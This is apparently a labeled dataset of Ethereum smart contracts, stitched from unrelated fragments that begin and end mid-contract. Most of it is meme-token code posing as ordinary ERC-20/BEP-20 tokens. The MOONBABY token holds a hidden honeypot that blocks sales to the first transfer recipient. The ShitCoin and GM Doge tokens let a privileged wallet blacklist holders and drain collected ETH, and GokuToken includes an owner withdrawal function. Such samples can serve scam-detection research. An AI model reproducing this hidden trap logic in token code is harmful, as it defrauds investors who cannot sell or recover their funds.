uint256 public epochDuration;
uint256 public rewardReductionPerEpoch;
uint256 public currentRewardRate;
uint256 public finalEpoch;
address public rewardsEscrow;
event Claimed(uint256 index, address indexed account, uint256 amount, uint256 userClaim, uint256 rewardsEscrowClaim);
function initialize(
address token_,
bytes32 merkleRoot_,
uint256 epochDuration_,
uint256 rewardReductionPerEpoch_,
uint256 claimsStart_,
uint256 gracePeriod_,
address rewardsEscrow_,
address owner_
) public initializer {
__MerkleDistributor_init(token_, merkleRoot_);
__Ownable_init();
transferOwnership(owner_);
epochDuration = epochDuration_;
rewardReductionPerEpoch = rewardReductionPerEpoch_;
claimsStart = claimsStart_;
gracePeriod = gracePeriod_;
rewardsEscrow = rewardsEscrow_;
currentRewardRate = 10000;
finalEpoch = (currentRewardRate / rewardReductionPerEpoch_) - 1;
}
/// ===== View Functions =====
/// @dev Get grace period end timestamp
function getGracePeriodEnd() public view returns (uint256) {
return claimsStart.add(gracePeriod);
}
/// @dev Get claims start timestamp
function getClaimsStartTime() public view returns (uint256) {
return claimsStart;
}
/// @dev Get the next epoch start
function getNextEpochStart() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) {
return getGracePeriodEnd();
} else {
return getGracePeriodEnd().add(epochDuration.mul(epoch));
}
}
function getTimeUntilNextEpoch() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) {
return getGracePeriodEnd().sub(now);
} else {
return (getGracePeriodEnd().add(epochDuration.mul(epoch))).sub(now);
}
}
/// @dev Get the current epoch number
function getCurrentEpoch() public view returns (uint256) {
uint256 gracePeriodEnd = claimsStart.add(gracePeriod);
if (now < gracePeriodEnd) {
return 0;
}
uint256 secondsPastGracePeriod = now.sub(gracePeriodEnd);
return (secondsPastGracePeriod / epochDuration).add(1);
}
/// @dev Get the rewards % of current epoch
function getCurrentRewardsRate() public view returns (uint256) {
uint256 epoch = getCurrentEpoch();
if (epoch == 0) return MAX_BPS;
if (epoch > finalEpoch) return 0;
else return MAX_BPS.sub(epoch.mul(rewardReductionPerEpoch));
}
/// @dev Get the rewards % of following epoch
function getNextEpochRewardsRate() public view returns (uint256) {
uint256 epoch = getCurrentEpoch().add(1);
if (epoch == 0) return MAX_BPS;
if (epoch > finalEpoch) return 0;
else return MAX_BPS.sub(epoch.mul(rewardReductionPerEpoch));
}
/// ===== Public Actions =====
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external virtual override {
require(now >= claimsStart, "TokenDistributor: Before claim start.");
// Intentionally commented out so users can pay gas for others claims
// require(account == msg.sender, "TokenDistributor: Can only claim for own account.");
require(getCurrentRewardsRate() > 0, "TokenDistributor: Past rewards claim period.");
require(!isClaimed(index), "TokenDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProofUpgradeable.verify(merkleProof, merkleRoot, node), "TokenDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(getCurrentRewardsRate() <= MAX_BPS, "Excessive Rewards Rate");
uint256 claimable = amount.mul(getCurrentRewardsRate()).div(MAX_BPS);
require(IERC20Upgradeable(token).transfer(account, claimable), "Transfer to user failed.");
emit Claimed(index, account, amount, claimable, amount.sub(claimable));
}
/// ===== Gated Actions: Owner =====
/// @notice After claim period is complete, transfer excess funds to rewardsEscrow
function recycleExcess() external onlyOwner {
require(getCurrentRewardsRate() == 0 && getCurrentEpoch() > finalEpoch, "Claim period not finished");
uint256 remainingBalance = IERC20Upgradeable(token).balanceOf(address(this));
IERC20Upgradeable(token).transfer(rewardsEscrow, remainingBalance);
}
function setGracePeriod(uint256 duration) external onlyOwner {
gracePeriod = duration;
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-26
*/
/*
deploy > send eth > open trading > blacklist bot if any > liftmaxtX > renounce
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShitCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "ShitCoin https://t.me/degenshitcoin";
string private constant _symbol = "ShitCoin";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5EF294f136dBE2D082ec5569dA914767Aac5321A);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 10;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 15;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = 50000000000000000 * 10**9;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function KillBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function ReviveAddress(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// MOONBABY (100% UNISWAP LIQUIDITY LAUNCH)
// 100% LP IN UNISWAP
// REWARD FOR SNIPPERS
// 5 ETH IN LIOUIDITY ADDED
// DEFLATIONARY TOKENOMICS
// COOLDOWN OF 5 MIN (ANTIBOT MECHANISM)
// BABYPAD COMING SOON
// OFFICIALLY NOT LIVE
// LIOUIDITY WILL BE ADDED A DAY PRIOR TO LAUNCH
// ░M░O░O░N░B░A░B░Y░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
// ░M░O░O░N░B░A░B░Y░ M░O░O░N░B░A░B░Y░
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "MOONBABY";
name = "MOONBABY";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GMDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _feeAddr1 = 0;
uint256 public _feeAddr2 = 12;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GM Doge";
string private constant _symbol = "GMDOGE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xEe8bd2d82d8c766beC630094E7e8841617f8C068);
_feeAddrWallet2 = payable(0xEe8bd2d82d8c766beC630094E7e8841617f8C068);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (17 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-08-05
*/
pragma solidity 0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
